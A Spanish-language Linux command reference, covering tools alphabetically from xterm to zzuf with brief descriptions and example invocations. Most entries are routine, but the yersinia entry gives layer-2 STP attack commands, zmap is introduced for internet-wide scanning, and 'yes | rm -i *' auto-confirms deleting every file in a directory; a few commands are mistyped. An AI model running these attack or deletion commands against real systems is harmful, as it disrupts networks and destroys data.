$ xterm -fg white -bg blue -e links2 http://google.es &
Abrir navegador en una terminal con fondo azul y letra blanca
```

```
$ xterm -u8
Arrancar la terminal con soporte utf-8 [equivalente a lanzarla con uxterm]
```

Opciones:

```
-cr blue (cursor de color azul [white, yellow, grey, red...])
-geom 100x100 (especificar dimensiones)
```

```
-maximized (Ventana maximizada)
1.-
```

Modificar las medidas por defecto:

```
# nano /usr/share/vte/termcap/xterm
```

## X

Buscar la línea:

```
co#80:it#8:li#24:\
```

Y modificar los parámetros `co` [columnas] y `li` [líneas] por ejemplo:

```
co#120:it#8:li#15:\
```

2.-

Otras personalizaciones:

Modificar o crear el archivo:

```
$ nano .Xresources
```

Pegar el contenido:

```
XTerm*Background: black
XTerm*Foreground: yellow
XTerm*font: 9x15
XTerm*saveLines: 1000
XTerm*HiForeColor: white
XTerm*HiBackColor: #c06077
```

```
$ xrdp -merge .Xresources
```

Aplicar los cambios, en caso contrario no se aplicaran hasta el siguiente reinicio

## xtermcontrol

Utilidad para consultar y modificar dinámicamente las propiedades de una terminal (`xterm`, `sakura`, `guake`...).

```
$ xtermcontrol --fg red --cursor yellow --title bash
letra rojo, cursor amarillo y título de la ventana "bash"
```

## xtermset

Permite cambiar título, color, fuente, geometría... de una ventana de terminal. Puede aplicarse a algunas terminales como `sakura`, `guake`, `xterm`... No a todas. En una terminal tecleamos:

```
$ xtermset -n linux -T linux -fg green -cr white
título de la terminal y el icono con nombre "linux", letra verde y cursor blanco
```

## xtitle

Establece el título de la ventana y/o el nombre del icono de la ventana del terminal en la que se ejecuta como argumentos de la línea de comandos. A menos que se supriman los mensajes, `xtitle` también informará las configuraciones que ha realizado.

```
$ sakura
lanzamos una terminal
```

```
$ xtitle linux
cambia el título de la terminal y del icono
```

```
$ xtitle -t sakura-linux
solo lo cambia en la terminal
```

```
$ xtitle -i linux
solo en el icono
```

```
$ xtitle -q sakura
vuelve a dejar el título de la terminal y el icono como estaban sin mostrar la salida
```

## xtttitle

Estable el título de la terminal y, si se indica, del icono.

```
$ xtttitle linux linux
estable el título de la terminal y del icono
```

```
$ xtttitle bash
solo de la terminal
```

## xtrlock

Bloquea el servidor de las X hasta que el usuario no introduce la contraseña y pulsa enter. El cursor se convierte en un candado y el teclado no responde. Antes de introducir la contraseña es preferible clicar "esc" para borrar todo lo que puede haberse pulsado en el teclado. La introducción de la contraseña no es visible en pantalla.

```
$ xtrlock
```

## xvfb-run

Ejecutar un comando X en un entorno de servidor virtual.

```
$ xvfb-run --server-num=1 rdesktop -u USER -p PASS -g 1024x768 192.168.1.10
abrir conexión de escritorio remoto sin X:
```

## xvkbd

Teclado virtual.

## xwd

[xbase-clients]. Captura de pantalla

```
$ xwd > pantalla.xwd
Capturar la ventana al clicarla
```

```
$ xwd -root -screen > pantalla.xwd
Capturar la ventana inmediatamente
```

```
$ xwd -in pantalla.xwd
Ver imágenes en formato xwd
```

## xwininfo

Da información acerca de la ventana que seleccionemos

```
$ xwininfo -root
nos da información del entorno base
```

```
$ xwininfo -id 73402749
nos da información de una ventana por su id
```

```
$ xwininfo -name "nombre"
información de una ventana por su nombre completo
```

```
$ xwininfo -children -root
ver todas las ventanas activas con su id y nombre
```

```
$ xwininfo -tree -root
lo mismo que el anterior pero mostrado en arbol
```

```
$ xwininfo -int
mostrar la id en base 10 en vez de hexadecimal
```

```
$ xwininfo -all
nos proporciona toda la información acerca de una ventana
```

```
$ xwininfo -all -root
nos da información de todo el entorno y ventanas existentes en la sesión de Xorg
```

## xwrits

Programa recordatorio diseñado para hacer saber al usuario que es hora de tomar un descanso de la escritura para evitar daños en la muñecas.

```
$ xwrits --multiscreen +once -t 30 -b 10 +lock
muestra en todas las pantallas, hacer clic en la ventana de advertencia, trabajar 30', por defecto 55', descanso de 10', por defecto 5' y bloquea el teclado
```

Algunas otras opciones:

```
password=12345 (colocar una contraseña)

+mouse (la máquina controla los movimientos del ratón)

minbreaktime=15 (duración mínima del descanso 15')

+cheat=30 (permitir 30 pulsaciones antes del bloqueo)

ct=5 (permitir 5' después de cancelar un trabajo, por defecto 10')
```

## xymon

Sistema de monitorización de hosts y redes, inspirado en el sistema Big Brother. Proporciona monitorización en tiempo real, una sencilla interfaz web, datos históricos, informes de disponibilidad y gráficos de rendimiento. Acceder a los informes con el navegador <<http://localhost/xymon>>

## xxd

convertir textos de ASCII a hexadecimal o viceversa.

```
$ xxd -p
entra en el prompt de la aplicación. Teclear la palabra o frase y darle a intro para la conversión
. Ctrl+c para salir del prompt
```

```
$ xxd -r -p
Proceso inverso
```

## xxxterm

Navegador minimalista con soporte para flash.

Descomprimir el archivo de configuración y copiarlo en el directorio personal:

```
$ cp /usr/share/doc/xxxterm/examples/xxxterm.conf.gz .
$ gzip -d xxxterm.conf.gz
$ mv xxxterm.conf .xxxterm.conf (Hacerlo oculto)
Editarlo para la configuración. A título de muestra:
```

```
$ nano xxxterm.conf
```

```
home           = http://google.es
window_width   = 1524
window_height  = 768
encoding       = UTF-8
algunos atajos:
```

```
F6 (Barra de navegación)
i (Buscador de la página)
Ctrl + t (Nueva pestaña)
Ctrl + w (Cerrar pestaña)
Alt + h (Historial)
F5 (Recargar página)
/ (Buscar un termino)
n (Siguiendo termino)
N (Anterior termino)
Alt + q (Reiniciar el navegador)
Ctrl + q (Cerrar el navegador)
```

## XZ

[xz-utils]. Comprimir y descomprimir archivos. Programas incluidos en el paquete: unxz [xz --decompress], xzcat [xz --decompress --stdout], lzma [xz --format=lzma], unlzma [xz --format=lzma --decompress] y lzcat [xz --format=lzma --decompress --stdout]

```
$ xz -z file
comprimir
```

```
$ xz -d file
descomprimir
```

```
$ xz -l file1.xz file2.lzma file3.txz
información sobre archivos comprimidos
```

```
$ xz -t file1.xz file2.lzma file3.txz
prueba la integridad de los archivos comprimidos
```



---

## Y

---

### yacpi

Herramienta de monitoreo para portátiles.

```
$ yacpi
```

```
$ yacpi -n
```

Mostrar hasta los que no estan activos

```
$ yacpi -d 2
```

Actualizar los datos cada 2 segundos

```
$ yacpi -b
```

De la bateria

```
$ yacpi -f
```

Cel ventilador

```
$ yacpi -t
```

La temperatura

```
$ yacpi -c
```

De la cpu

Para salir pulsar "q" y para actualizar datos "r"

### yacy

[openjdk-6-jre-headless]. Buscador libre y descentralizado. La red no almacenada las busquedas y no es posible censurar el contenido del indice compartido. Descarga de <<http://debian.yacy.net>> o añadiendo al sources.list la linea:

```
deb http://debian.yacy.net ./
```

Arrancar el demonio de forma clásica:

```
# /etc/init.d/yacy start
```

restart para reiniciar y stop para parar

El acceso se realiza colocando en la barra de direcciones del navegador:

```
http://localhost:8090
```

Para el acceso externo es preciso redireccionar en el router el puerto al pc correspondiente.

### yafc

Cliente ftp con soporte para conexiones ftp y ssh.

```
$ yafc 67.33.83.15
```

```
$ yafc ssh://USER@172.17.0.221:22/documents
```

```
$ yafc ssh://USER:PASS@172.17.0.221:22/documents
```

## yaourt

Gestor de paquetería de archlinux que incorpora el repositorio AUR. En general tiene las mismas opciones que pacman.

```
$ yaourt -Syu --aur
actualización completa del sistema
```

```
$ yaourt -C
edición y fusión de .pacnew/.pacsave
```

```
$ yaourt -CC
eliminación de todos los .pacnew/.pacsave
```

```
$ yaourt -S - aur paquete
fuerza la instalación desde los depósitos de AURYES
```

```
$ yaourt -B
Realizar una copia de seguridad de la base de datos de yaourt
```

1.-

Para que yaourt no pida confirmación y ver archivos:

```
# nano /etc/yaourtrc
```

Y colocar las siguientes líneas con los valores que se muestran:

```
BUILD_NOCONFIRM=1
EDITFILES=0
```

## yapet

Registro y generador de contraseñas que se guardan cifradas.

```
$ yapet
```

Teclas de control:

```
s Guardar
r Cargar archivo
e Crear archivo
l Bloquear pantalla
a Nueva entrada
d Borrar entrada
o Ordenar
/ Buscar
n Buscar siguiente
c Cambiar contraseña
i Información
g Generar contraseña
q Salir
```

## yasat

Herramienta que permite realizar una auditoría rápida del sistema o de diferentes partes que lo componen: usuarios, servicios apache, samba, cups, php, netwrik, comprobación del kernel, etc. Por defecto los informes se guardan en ~/.yasat/).

```
$ yasat -l
Listar plugins disponibles
```

```
# yasat -s
Auditoria standard del sistema
```

```
# yasat -f
Auditoria más exhaustiva
```

## Y

```
# yasat -a
Sin pedir confirmaciones
```

Algunas opciones:

```
-H (Obtener el resultado en formato html. Por defecto en ~/.yasat/yasat.html)
--check-update (Verificar si existen actualizaciones de la aplicación)
--skip nfs,ntp (Sólo comprobar los servicios mencionados, separados por comas)
--html-output archivo.html (Mandar el resultado a un archivo que no sea el por defecto.
Precisa tambien -H)
```

## yash

Shell de línea de comandos que cumple con el estándar POSIX.1 (IEEE Std 1003.1, edición 2008) mucho más compatible con POSIX que otros shell como bash y zsh.

```
$ touch .yashrc
crear un archivo vacio de configuración para evitar que lo pida al lanzar la aplicación
```

Tambien puede copiarse la que se instala por defecto

```
$ cp /usr/share/yash/initialization/sample .yashrc
$ yashrc
entrar en la shell
```

## yelp

Navegador de ayuda de gnome. Incluye documentación detallada sobre la mayoría de aplicaciones y utilidades [panel, gestor de archivos...]

## yersinia

Es un marco para realizar ataques de capa 2. Esta diseñado para aprovechar algunas debilidades en diferentes protocolos de red. Pretende ser un marco sólido para analizar y probar las redes y sistemas desplegados. Puede realizar ataques para los siguientes protocolos de red: Protocolo Spanning Tree (STP), Protocolo de descubrimiento de Cisco (CDP), Protocolo de enlace dinámico (DTP), Protocolo de configuración dinámica de host (DHCP), Protocolo de enrutador Hot Standby (HSRP), 802.1q, 802.1x, Protocolo de enlace entre conmutadores (ISL), Protocolo de enlace de VLAN (VTP).

```
# yersinia -G
arrancar el modo gráfico

# yersinia -I
modo interactiivo ncurses

# yersinia -D
como daemon

# yersinia stp -attack 0 -version 2 -flags 5c -portid 3000 -interface eth1
# yersinia stp -attack 4
# yersinia stp -attack 3 -source 66:66:66:66:66:66
```

## yes

Repetición indefinida, hasta matar el proceso con Ctrl + c, de una palabra o frase.

```
$ yes linux es genial
$ yes "$(figlet Linux)"
En combinación con el comando figlet

$ yes | rm -i *
Pasado como entrada para que conteste "si" a todo
```

## yetrís

[libncurses5-dev]. Juego tetris para ncurses.

```
$ git clone https://github.com/alexndantas/.git
$ cd yetris
$ make
$ make install
```

```
$ yetris -c -g -n
```

En el centro de la pantalla, sin pistas de donde caen los bloques y sin color

```
$ yetris -u
```

Mostrar el modo de uso

```
$ yetris -r
```

Resetear las reglas

Algunas teclas de control:

```
Flechas derecha izquierda (Desplazamiento horizontal)
espacio o flecha abajo (Desplazamiento vertical rápido)
z, x (Rotar los bloques)
p (Pausa. Pulsar otra vez "p" para salir de pausa)
h (Mostrar teclas de control. Intro para salir)
r (Reiniciar el juego)
q (salir)
```

## ylva

Gestión de datos en un archivo encriptado con permisos chmod 600.

```
$ ylva -i file.db
```

Crea una nueva base de datos

```
$ ylva -a (una entrada de datos. Pide: "Title" [único dato obligatorio los demás son opcionales],
"Username", "Url", "Notes" y "Password")
```

```
$ ylva -A
```

listar entradas si todavía no está encriptada

```
$ ylva -E
```

encriptar la base de datos. Pide contraseña

```
$ ylva -D file.db
```

desencriptar la base de datos. Pide la contraseña entrada para encriptarla

```
$ ylva -e 2
```

editar la entrada con ID 2. Los campos que permanecen igual pulsar "intro" y modificar el que corresponda

```
$ ylva -l 2
```

lista toda la entrada con ID 2

```
$ ylva -r 2
```

eliminar la entra con ID 2

```
$ ylva -p
```

mostrar nombre de la base de datos

## yokadi

Herramienta para organizar tareas tipo agenda. Crea una base de datos sqlite en el directorio personal [~/yokade.db].

```
$ yokadi
```

Entra en el prompt. La primera vez que se ejecuta crea la base de datos

## Y

Una vez en el prompt, algunos comandos son:

```
yokadi> t_add leer El péndulo de Foucault de Umberto Eco (entrar una tarea)

yokadi> t_list (ver las tareas)

yokadi> t_mark_done 1 (borrar la tarea con el id 1)

yokadi> t_due 3 +2d (marcar la tarea 3 para dentro de 2 días)

yokadi> t_due 3 23/04 13:00 (marcar la tarea 3 para el día 23 de abril a la 1 del mediodía)

yokadi> t_list --all (cuanto falta hasta las fechas señaladas)

yokadi> t_list leer --all (listado de todos los libros que hemos entrado para leer)

yokadi> t_show 5 (abre el editor por defecto del sistema para modificar el texto de la tarea 5)

yokadi> t_add -c esto es muy secreto (entrar algo que no se quiere que se vea. Pide contraseña)

yokadi> c_set PASSPHRASE_CACHE 0 (a continuación esconder la contraseña entrada)

yokadi> t_list (si no se entra la contraseña no mostrará los datos)
```

## you-get

[python3, ffmpeg]. Descarga de videos y, en algunos casos audio o imágenes de sitios web populares ( youtube, tumblr, vimeo...) consulta de sitios soportados en <<https://you-get.org/#supported-sites>> . Descarga:

```
# pip3 install you-get
```

O de github <<https://github.com/soimort/you-get/archive/master.zip>>

```
$ you-get URL
descarga normal de video, audio o imagenes
```

```
$ you-get -i URL
informacion sobre la url
```

```
$ you-get --itag=243 URL
de la información anterior, descargar la itag 243
```

```
$ you-get Wagner
buscar sobre el termino especificado y empieza la descarga
```

```
$ you-get -p vlc URL
Transmitir el video por un reproductor especificado
```

```
$ you-get -p firefox URL
transmitirlo por el navegador
```

```
$ you-get -o /Videos -O titulo URL
descargar el video en un directorio y con un titulo concreto
```

## youtube-dl

Utilidad basada en Python que permite descargar videos de sitios populares como YouTube, Dailymotion , Photobucket, Facebook, Yahoo, Metacafe y más. Admite varios formatos de medios, incluidos MP4, WebM, etc. Esta aplicación está siendo substituida por yt-dlp [ver]

```
$ youtube-dl url
forma básica
```

```
$ youtube-dl -U
actualizar la aplicación
```

## Y

```
$ youtube-dl -o nombre.flv url
Guardar con nombre especificado
```

```
$ youtube-dl -a archivo_de_urls_de_youtube
bajar multiples videos
```

```
$ youtube -u pepe -p contraseña url
especificando usuario y contraseña
```

```
$ youtube-dl -t --extract-audio --audio-format mp3 url
Sacar el audio en formato mp3 a un video de youtube
```

```
$ youtube-dl --write-sub --sub-lang en url
Bajar el video y los subtítulos en inglés con extensión .en.vtt si están disponibles
```

Nota.- En algunas ocasiones muestra un error (ERROR: format not available for video) se soluciona bajando directamente el ejecutable de internet y suprimiendo el de los repositorios.

## y-ppa-manager

utilidad para gestionar los PPA en Launchpad.

```
# y-ppa-cmd
Lanza las formas de usar el comando
```

```
# y-ppa-manager
abre la interfaz gráfica
```

## yt-dlp

[FFmpeg]. Utilidad escrita en python [pip install yt-dlp] para descargar audio y video de servicios como YouTube. Es un fork de youtube-dl que actualmente parece que no se está desarrollando.

```
$ yt-dlp url
forma básica
```

```
$ yt-dlp -F url
muestra diferentes formatos de descarga
```

```
$ yt-dlp -f 137 url
especificando formato según listado anterior
```

## ytfzf

Script para buscar, descargar y reproducir vídeos de YouTube haciendo uso de mpv y youtube-dl. Para cada consulta de búsqueda de YouTube, se muestra una lista de resultados con el título del video, el canal que lo publicó, la cantidad de vistas, la duración, la fecha de carga y la miniatura del video.

```
$ ytfzf
```

## ytree

Navegador de archivos minimalista. Puede usarse para administrar permisos en directorios, ver distintos tipos de archivos [gif, jpg, txt, html] con los visores favoritos de cada uno y revisar archivos comprimidos [tar, arc, lha, zip, zoo]. Permite configuraciones regionales UTF-8

```
$ ytree
```

## yum

Gestor de programario de distros basadas Redhat

```
# yum install paquete
instala paquete
```

```
# yum -y install paquetel1 paquete2
instala los paquetes mencionados
```

```
# yum -y install paquete.arch
instala paquete con la arquitectura mencionada: firefox.i386
```

```
# yum -y update
actualiza todos los paquetes del sistema
```

```
# yum -y update --exclude=mysql
actualiza todos menos mysql
```

```
# yum -y update gftp
actualiza solo el paquete mencionado
```

```
# yum check-update
Muestra la lista de paquetes que se han de actualizar
```

```
# yum info paquete
Muestra información de paquete
```

```
# yum info available
Muestra información de los paquetes actualizables
```

```
# yum list
lista los paquetes disponibles
```

```
# yum list installed
lista los paquetes instalados en el sistema
```

```
# yum list available
lista los paquetes disponibles
```

```
# yum list updates
lista los paquetes actualizables
```

```
# yum remove paquete
suprime paquete
```

```
# yum -y remove paquetel1 paquete2
suprime los paquetes mencionados
```

```
# yum search paquete
busca paquete en la base de datos
```

```
# yum clean packages
limpia la caché
```

```
# yum repolist
Lista los repositorios
```

---

## Z

---

### **zcat**

Ver contenido de archivos comprimidos con gzip.

### **zcmp**

Compara dos archivos comprimidos (Ver cmp)

### **zdiff**

Muestra diferencias entre dos archivos o directorios comprimidos (Ver diff)

```
$ zdiff archivo1 archivo2
```

### **zdump**

Visualiza la zona horaria especificada.

```
$ zdump Madrid
```

### **zegrep**

Busca expresiones regulares sobre archivos comprimidos (Ver egrep)

### **zellij**

Es un espacio de trabajo para la terminal que permite dividirla en diferentes paneles y pestañas e incluye un motor de diseño que permite a los usuarios definir un mapa de paneles en un archivo yaml y cargarlo cuando se inicia la aplicación. También dispone de plugins como extensiones. Descarga de <https://github.com/zellij-org/zellij>

### **zenity**

Creación de diálogos gráficos simples. Especialmente para scripts.

```
$ zenity -?  
muestra las opciones de la aplicación y de ayuda
```



## Z

```
$ zenity --title Archivo --width 800 --height 600 --text-info --filename /home/usuario/archivo.txt
mostrar un archivo
```

```
$ zenity --info --text="Este PC va a explotar en 10 segundos. Date por muerto."
```

```
$ zenity --password --username
Muestra diálogo entrar usuario y contraseña
```

```
$ zenity --calendar
Muestra el calendario
```

```
$ zenity --scale
Muestra la escala
```

## zerofree

Suprimir bloques libres de los sistemas de archivos ext2, ext3 y ext4, por defecto con ceros. El sistema sobre el que se actúe ha de estar desmontado.

```
# zerofree /dev/sda1
# zerofree -n /dev/sda3
Realizar un simulacro sin modificar el sistema de archivos
```

## zfgrep

Busca cadenas de texto fijas sobre archivos comprimidos (ver fgrep)

## zforce

Fuerza una extensión .gz en todos los archivos gzip para que gzip no los comprima dos veces. En los sistemas con una limitación de 14 caracteres en los nombres de archivo, el nombre original se trunca para dejar espacio para el sufijo .gz. Por ejemplo, 12345678901234 se renombra a 12345678901.gz. Un nombre de archivo como foo.tgz se deja intacto.

```
$ zforce archivo archivo
```

## zgrep

imprime las líneas que cumplan la expresión regular sobre ficheros comprimidos (Ver grep)

## zile

Pequeño, rápido y potente clon de Emacs útil para instalaciones en dispositivos de poca capacidad (disquettes) o para sesiones de edición rápida. La mayoría de las secuencias de teclas y nombres de función son iguales que las de Emacs.

```
$ zile
```

## zip

[unzip]. comprime y empaqueta

```
$ zip archivo.zip fichero1 fichero2
Comprimir varios ficheros
```

```
$ zip -r archivo.zip file1 file2 dir1
comprimir varios files y directorios
```

## zipcmp

Compara dos archivos zip y comprueba si contienen los mismos archivos,

```
$ zipcmp -p file1.zip file2.zip
comparando archivos y metadatos
```

## zipinfo

muestra información técnica sobre archivos ZIP. Dicha información incluye permisos de acceso a archivos, estado de cifrado, tipo de compresión, versión y sistema operativo o sistema de archivos del programa de compresión y similares.

```
$ zipinfo -h archivo.zip
Se imprime el nombre del archivo, el tamaño real en bytes y el número total de archivos
```

```
$ zipinfo -t archivo.zip
lista totales para todos los archivos, cantidad de archivos enumerados, tamaños totales sin
comprimir y comprimidos y factor de compresión general
```

```
$ zipinfo -l archivo.zip
lista la información del archivo zip en formato largo
```

## zipmerge

Fusiona un archivo zip de origen con un archivo zip de destino. De forma predeterminada, los archivos que forman parte del zip de origen sobrescriben los archivos existentes con el mismo nombre en el archivo zip de destino.

```
$ zipmerge -l -i origen.zip destino.zip
ignorar diferencias mayúsculas/minúsculas y preguntar antes de sobrescribir
```

## ziptime

Reemplaza las marcas de tiempo en los encabezados Zip con una hora estática (1 de enero de 2008). Los campos adicionales no se modifican.

```
$ ziptime archivo.zip
```

## ziptool

Utilidad para manipular archivos zip modificando detalles como marcas de tiempo u otros metadatos.

```
$ ziptool archivo.zip add texto.txt \"Linux es un sistema genial\"
incluir en archivo.zip un texto.txt con el contenido especificado
```

```
$ ziptool archivo.zip delete 8
eliminar el archivo 8 del .zip especificado
```

```
$ ziptool -c archivo.zip
verificar la coherencia del .zip al abrirlo por terminal
```

## zless

Pagina la visualización de un fichero comprimido (Ver less).

## zmap

Herramienta que permite escanear las direcciones IP de todo Internet en menos de 1 hora. Para incrementar la velocidad, el escaneo no se realiza por orden de número de IPs sino a saltos. Desgarga:

```
$ git clone https://github.com/zmap/zmap.git
```

## zmore

Página de la visualización de un fichero comprimido (Ver more)

## znew

Permite recomprimir los ficheros comprimidos con extensión .z a .gz.

```
$ znew archivo.z
creará un archivo.gz. Si existe en el directorio pedirá confirmación para sobrescribir
```

```
$ znew -vf archivo.z
lo mismo pero sobrescribir sin confirmar
```

## zonemaster-cli

Utilidad para la validación DNS.

```
$ zonemaster-cli IP
forma básica
```

```
$ zonemaster-cli --list_tests
listado
```

```
$ zonemaster-cli --test basic00 IP
test sobre una opción del listado anterior de una ip
```

## zoo

Compresor/descompresor de archivos.

```
$ zoo -a archivo.zoo ficheros
Comprimir
```

```
$ zoo -x archivo.zoo
Descomprimir
```

```
$ zoo -v archivo.zoo
Ver contenido
```

## zopfli

Compresor de archivos. El paquete incluye la aplicación zopflipng.

```
$ zopfli --zlib archivo
crea archivo.zlib. Si no se especifica salida [zlib] lo hace en formato gzip
```

```
$ zopfli --deflate archivo
crea archivo.deflate
```

```
$ zopflipng entrada.png salida.png
optimizar un archivo y escribir salida si es más pequeño
```

## zoxide

Herramienta que permite moverse entre directorios como el clásico `cd`. Se trata de una herramienta que aprende de tus movimientos y ayuda a desplazarse con el mínimo número de saltos. Es una herramienta que está inspirada en `z` y `autojump`, pero que está disponible para las shell mas utilizadas, como `Bash`, `Zsh` o `Fish`. Esta aplicación se puede lanzar de varias formas: `z`, `za` y `zi` son otra forma de utilizar `zoxide` de forma interactiva. De esta forma se combina la potencia de `zoxide` con la potencia de `fzf`.

En `bash` colocar en `~/.bashrc` la línea y recargar:

```
eval "$(zoxide init bash)"
```

```
$ source ~/.bashrc
```

```
$ za .emacs.d/elpa
entrar un nuevo directorio a la base de datos
```

```
$ z elpa
ir al directorio especificado con za
```

```
$ z
ir al directorio /home/usuario
```

```
$ zi
ver directorios de la base de datos
```

## zrun

Hace que los archivos comprimidos que son argumentos de un comando se descompriman automáticamente. Soporta los tipos de compresión `gz`, `bz2`, `Z`, `xz`, `lzma` y `lzo`.

```
$ zrun grep linux archivo.gz
buscar la palabra "linux" en el comprimido "archivo.gz"
```

## zssh

Programa para transferir archivos a/de una máquina remota utilizando shell seguro `ssh`. Pretende ser una alternativa a `scp` [ver].

## zstd

Comprimir y descomprimir archivos. Incorpora 3 ejecutables: `zstdmt` [equivale a `zstd -T0`], `unzstd` [equivale a `zstd -d`] y `zstdcat` [que equivale a `zstd -dcf`]

```
$ zstd -z file1 file2 file3
crear los comprimidos file1.zst, file2.zst y file3.zst
```

```
$ zstd -d *.zst
los descomprime sin borrar los comprimidos
```

```
$ zstd -T0 -z archivo -o nombre.zst
comprimir un archivo con otro nombre e intente detectar y utilizar la cantidad de núcleos de CPU físicos [T0]
```

```
$ zstd -dct archivo
descomprimir, agregar verificación de integridad calculada a partir de datos sin comprimir y probar la integridad de los archivos comprimidos
```

## zswap

Módulo del kernel con la función principal de evitar la paginación en disco incrementando el rendimiento del sistema. Para activar este módulo se precisa una partición Swap y que la versión de kernel sea como mínimo la 3.11.

```
# nano /etc/default/grub
```

Y añadir la opción "zswap.enabled" en la línea:

```
GRUB_CMDLINE_LINUX_DEFAULT="quiet zswap.enabled=1"
```

Actualizar grub:

```
# update-grub
```

Una vez reiniciado comprobar su funcionamiento con:

```
$ dmesg | grep zswap
```

## zsync

Descargar partes nuevas de un archivo del que ya se tiene una copia anterior en el pc.

```
$ zsync http://cdimage.ubuntu.com/daily-live/current/raring-desktop-amd64.iso.zsync
```

## zulucrypt-cli

Herramienta para crear y administrar volúmenes cifrados con luks, Plain, truecrypt y veracrypt.

```
$ zuluCrypt-cli -c -d /dev/sda1 -z ext4 -t luks -p contraseña
crear un volumen encriptado de la partición especificada, tipo ext4, tipo de volumen y contraseña existente
```

```
$ zuluCrypt-cli -o -d /dev/sda1 -m sda1 -e ro -p contraseña
abrir volumen, componente que se agregará al prefijo del punto de montaje, solo lectura y contraseña existente
```

```
$ zuluCrypt-cli -q -d /dev/sda1
cerrar volumen
```

```
$ zuluCrypt-cli -r -d /dev/sda1 -p contraseña
suprimir contraseña de un volumen
```

```
$ zuluCrypt-cli -a -d /dev/sda1 -y contraseña -l nueva
añadir contraseña a la existente en un volumen luks
```

## zutils

Conjunto de herramientas capaces de procesar cualquier combinación de ficheros comprimidos y sin comprimir. Los ficheros comprimidos se descomprimen sobre la marcha; no se crean ficheros temporales. Actualmente, los compresores compatibles son gzip, bzip2, lzip, xz y zstd. Incluye las aplicaciones zcat [Descomprime y copia ficheros], zcmp [Descomprime y compara dos ficheros byte a byte], zdiff [Descomprime y compara dos ficheros línea a línea], zgrep [Descomprime y busca en ficheros una expresión regular], ztest [Comprueba la integridad de ficheros comprimidos] y zupdate [Recomprime ficheros al formato lzip].

## zutty

Emulador de terminal con baja latencia similar a varios otros emuladores como xterm, rxvt...

```
$ zutty -title linux -cr #e10e0e -bg #605353 -fg #f36d6d -geometry 120x40 bash
con titulo, cursor de un color, fondo y fuentes de otros con una geometria concreta y usando bash
```

## zypper

Gestor de paquetes de opensuse [rpm]

# zypper	Generar una lista de paquetes instalados
# zypper repos	Listar repositorios
# zypper install paquete	Instalar paquete
# zypper install rutadelpaquete	Instalar paquetes que no está en los repositorios
# zypper install --force paquete	Reinstalar
# zypper remove paquete	Desinstalar paquete
# zypper remove --clean-deps paquete	Desinstalar con dependencias
# zypper search paquete	Buscar paquete
# zypper help comando	ayuda para un comando
# zypper update	Actualizar base de datos y el sistema
# zypper info paquete	Buscar información de paquete
# zypper clean	Limpiar caché e información obsoleta
# zypper refresh	Actualizar información
# zypper dist-upgrade	Actualizar distro
# zypper al 'paquete'	Descartar paquete para actualizaciones
# zypper rl 'paquete'	Desbloquear paquete del bloqueo anterior
# zypper verify	Verificar dependencias
# zypper intall-new-recommends	Instalar paquetes recomendados
# zypper list-updates	Listar Actualizaciones disponibles
# zypper list-patches	Listar parches disponibles
# zypper patches	Instalar parches disponibles
# zypper addrepo rutadelrepositorio	Añadir repositorio
# zypper addrepo -f repositorio rutadelrepositorio	Añadir con actualización automática
# zypper modifyrepo --disable repositorio	Desactivar repositorio
# zypper removerepo nombredelrepositorio	Suprimir repositorio

**zzuf**

Altera de forma aleatoria el contenido de un archivo.

```
$ zzuf -b10- -r0.6 cat datos.txt
```

```
a partir del 10 byte y modificando el 60% del contenido del archivo datos.txt
```